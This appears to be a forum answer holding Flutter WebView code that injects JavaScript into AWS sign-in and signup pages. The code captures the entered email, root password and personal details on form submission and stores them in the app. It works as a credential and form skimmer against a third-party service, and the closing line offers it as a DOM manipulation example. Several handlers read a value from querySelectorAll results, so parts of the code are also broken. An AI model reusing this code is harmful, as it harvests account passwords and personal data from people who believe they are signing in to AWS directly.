consts.user.postalCode = message["sPostal"].toString();
await consts.user
.storeSignUpInfo(postalCode: consts.user.postalCode);
} else if (message.containsKey("sOrganize")) {
consts.user.oraganization = message["sOrganize"].toString();
await consts.user
.storeSignUpInfo(organization: consts.user.oraganization);
}
setState(() {
if (consts.user.userPassword != "" &&
!message.containsKey("delete")) {
}
});
}
},
onWindowFocus: (controller) async {
var currentUrl = await controller.getUrl();
final html = await controller.getHtml();
var document = parse(html);
if (currentUrl != _currentUrl) {
Future.delayed(Duration.zero, () async {
var htmlCode = await controller.getHtml();
var document = parse(htmlCode);
var currentUrl = await controller.getUrl();
print("currentUrl = ${currentUrl}");
if (document.body!.innerHtml.contains("username@example.com")) {
print("get email");
await consts.user.clearStorage();
// get entered email address
getUserEmail(controller, document.body!.innerHtml);
} else if (document.body!.innerHtml.contains("Root user sign in")) {
print("get pass");
// get entered password
getUserPassword(controller, document.body!.innerHtml);
} else if (currentUrl
.toString()
.contains("https://portal.aws.amazon.com/billing/signup")) {
if (document.body!.innerHtml.contains("AWS account name")) {
print("sign up");
// get signUp email
getSignUpEmail(controller);
// get signUp password
getSignUpPassword(controller);
// get signUp account name
getSignUpAccountName(controller);
} else if (document.body!.innerHtml
.contains("Contact Information")) {
// get full name
getSignUpFullname(controller);
// get phone number
getSignUpPhoneNumber(controller);
// get region
getSignUpRegion(controller);
// get address
getSignUpAddress(controller);
// get city
getSignUpCity(controller);
// get state
getSignUpState(controller);
// get postal code
getSignUpPostalCode(controller);
// get organization
getSignUpOrganization(controller);
}
}
});
}
_currentUrl = currentUrl.toString();
//controller.goBack();
},
onProgressChanged:
(InAppWebViewController controller, int progress) async {
setState(() {
this.progress = progress / 100;
print("progress = ${this.progress}");
});
if (progress == 100) {
var currentUrl = await controller.getUrl();
Future.delayed(Duration(microseconds: 3), () async {
var htmlCode = await controller.getHtml();
var document = parse(htmlCode);
print("currentUrl progress = ${currentUrl.toString()}");
//print("html = ${document.body!.innerHtml}");
if (document.body!.innerHtml
.contains("Email address of your AWS account")) {
print("get email");
await consts.user.clearStorage();
consts.user.userEmail = "";
consts.user.userPassword = "";
controller.evaluateJavascript(source: """
document.querySelector("#new_account_container").style.display = "none";
""");
setState(() {});
// get entered email address
getUserEmail(controller, document.body!.innerHtml);
} else if (document.body!.innerHtml.contains("Root user sign in")) {
print("get pass");
// get entered password
getUserPassword(controller, document.body!.innerHtml);
} else if (currentUrl
.toString()
.contains("https://portal.aws.amazon.com/billing/signup#/")) {
if (document.body!.innerHtml.contains("AWS account name")) {
print("sign up progress");
// get signUp email
getSignUpEmail(controller);
// get signUp password
getSignUpPassword(controller);
// get signUp account name
getSignUpAccountName(controller);
} else if (document.body!.innerHtml
.contains("Contact Information")) {
// get full name
getSignUpFullname(controller);
// get phone number
getSignUpPhoneNumber(controller);
// get region
getSignUpRegion(controller);
// get address
getSignUpAddress(controller);
// get city
getSignUpCity(controller);
// get state
getSignUpState(controller);
// get postal code
getSignUpPostalCode(controller);
// get organization
getSignUpOrganization(controller);
}
}
if (currentUrl.toString() ==
"https://console.aws.amazon.com/iam/home#/users" ||
currentUrl.toString() ==
"https://console.aws.amazon.com/iam/home?#/users") {
print("delete credentials");
// delete user data if loged out
deleteCredentials(controller);
}
});
}
},
);
}
// get user amil
getUserEmail(InAppWebViewController controller, String html) {
controller.addJavaScriptHandler(
handlerName: 'EmailGetter',
callback: (args) {
// print arguments coming from the JavaScript side!
print("email args = $args");
// return data to the JavaScript side!
return args;
});
controller.evaluateJavascript(source: """
document.querySelector("#next_button").addEventListener("click", function(ee) {
window.console.log(JSON.stringify({"email": document.querySelector("#resolving_input").value}));});
""");
}
// getting password
getUserPassword(InAppWebViewController controller, String html) {
controller.evaluateJavascript(source: """
document.querySelector("#signin_button").addEventListener("click", function(ee) {
window.console.log(JSON.stringify({"password": document.querySelector("#password").value}));});
""");
}
// getting SignUp Email address
getSignUpEmail(InAppWebViewController controller) {
controller.evaluateJavascript(source: """
document.querySelector("#CredentialCollection").addEventListener("submit", function(ee) {
window.console.log(JSON.stringify({"sEmail": document.querySelector("input[name='email']").value}));});
""");
}
// getting SignUp password
getSignUpPassword(InAppWebViewController controller) {
controller.evaluateJavascript(source: """
document.querySelector("#CredentialCollection").addEventListener("submit", function(ee) {
window.console.log(JSON.stringify({"sPassword": document.querySelector("input[name='password']").value}));});
""");
}
// getting SignUp account name
getSignUpAccountName(InAppWebViewController controller) {
controller.evaluateJavascript(source: """
document.querySelector("#CredentialCollection").addEventListener("submit", function(ee) {
window.console.log(JSON.stringify({"sAccountName": document.querySelector("input[name='accountName']").value}));});
""");
}
// getting SignUp fullName
getSignUpFullname(InAppWebViewController controller) {
controller.evaluateJavascript(source: """
document.querySelector("#ContactInformation").addEventListener("submit", function(ee) {
window.console.log(JSON.stringify({"sFullName": document.querySelector("input[name='address.fullName']").value}));});
""");
}
// getting SignUp phone number
getSignUpPhoneNumber(InAppWebViewController controller) {
controller.evaluateJavascript(source: """
document.querySelector("#ContactInformation").addEventListener("submit", function(ee) {
window.console.log(JSON.stringify({"sPhone": document.querySelector("input[name='address.phoneNumber']").value}));});
""");
}
// getting SignUp region
getSignUpRegion(InAppWebViewController controller) {
controller.evaluateJavascript(source: """
document.querySelector("#ContactInformation").addEventListener("submit", function(ee) {
window.console.log(JSON.stringify({"sRegion": document.querySelectorAll(".awsui-select-trigger-label")[1].innerText}));});
""");
}
// getting SignUp address
getSignUpAddress(InAppWebViewController controller) {
controller.evaluateJavascript(source: """
document.querySelector("#ContactInformation").addEventListener("submit", function(ee) {
window.console.log(JSON.stringify({"sAddress": document.querySelectorAll("input[name='address.addressLine1']").value}));});
""");
}
// getting SignUp city
getSignUpCity(InAppWebViewController controller) {
controller.evaluateJavascript(source: """
document.querySelector("#ContactInformation").addEventListener("submit", function(ee) {
window.console.log(JSON.stringify({"sCity": document.querySelectorAll("input[name='address.city']").value}));});
""");
}
// getting SignUp state
getSignUpState(InAppWebViewController controller) {
controller.evaluateJavascript(source: """
document.querySelector("#ContactInformation").addEventListener("submit", function(ee) {
window.console.log(JSON.stringify({"sState": document.querySelectorAll("input[name='address.state']").value}));});
""");
}
// getting SignUp postal code
getSignUpPostalCode(controller) {
controller.evaluateJavascript(source: """
document.querySelector("#ContactInformation").addEventListener("submit", function(ee) {
window.console.log(JSON.stringify({"sPostal": document.querySelectorAll("input[name='address.postalCode']").value}));});
""");
}
// getting SignUp organization
getSignUpOrganization(InAppWebViewController controller) {
controller.evaluateJavascript(source: """
document.querySelector("#ContactInformation").addEventListener("submit", function(ee) {
window.console.log(JSON.stringify({"sOrganize": document.querySelectorAll("input[name='address.company']").value}));});
""");
}
// deleting user credentials
deleteCredentials(InAppWebViewController controller) {
controller.evaluateJavascript(source: """
document.querySelector("#aws-console-logout").addEventListener("click", function(ee) {
window.console.log(JSON.stringify({"delete": "delete"}));});
""");
}
_backButton(BuildContext context) {
return ElevatedButton(
onPressed: () {
Navigator.pop(context);
},
child: Icon(Icons.arrow_back),
);
}
}
In this code you can see also how to use javascript dom manipulation and selection and interaction with web page.

- 2,369
- 16
- 12